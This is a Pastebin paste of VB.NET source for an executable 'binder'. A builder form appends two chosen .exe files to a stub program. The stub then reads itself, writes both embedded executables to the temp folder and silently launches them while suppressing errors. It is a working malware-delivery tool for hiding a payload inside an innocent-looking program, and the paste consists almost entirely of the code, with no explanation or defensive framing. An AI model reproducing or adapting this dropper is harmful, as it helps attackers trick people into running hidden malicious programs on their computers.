Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim ofd As New OpenFileDialog
- ofd.Title = ""
- ofd.Filter = "*.exe | *.exe"
- ofd.Title = "File 1"
- If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
- ofd.Title = "File 2"
- If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Dim stub, File_One, File_Two, Filename1, filename2 As String
- Const FileSplit = "47150"
- FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
- File_One = Space(LOF(1))
- FileGet(1, File_One)
- FileClose(1)
- FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
- File_Two = Space(LOF(2))
- FileGet(2, File_Two)
- FileClose(2)
- FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
- stub = Space(LOF(3))
- FileGet(3, stub)
- FileClose(3)
- Dim OutputFile As String
- Dim sfd As New SaveFileDialog
- sfd.Filter = "*.exe | *.exe"
- If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
- OutputFile = sfd.FileName
- Else : Exit Sub
- End If
- Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
- filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
- FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
- FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
- FileClose(3)
- MsgBox("Binded")
- End Sub
- End Class
- stub
- Public Class Stub
- Private Sub Stub_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- On Error Resume Next
- Dim TPath As String = System.IO.Path.GetTempPath
- Const FileSplit = "47150"
- Dim file1, joesdaddy, filez() As String
- FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
- file1 = Space(LOF(1))
- FileGet(1, file1)
- FileClose(1)
- filez = Split(file1, FileSplit)
- FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
- FilePut(3, filez(1))
- FileClose(3)
- FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
- FilePut(5, filez(2))
- FileClose(5)
- System.Diagnostics.Process.Start(TPath & filez(3))
- System.Diagnostics.Process.Start(TPath & filez(4))
- Me.Close()
- End
- End Sub
- End Class
Add Comment
Please, Sign In to add comment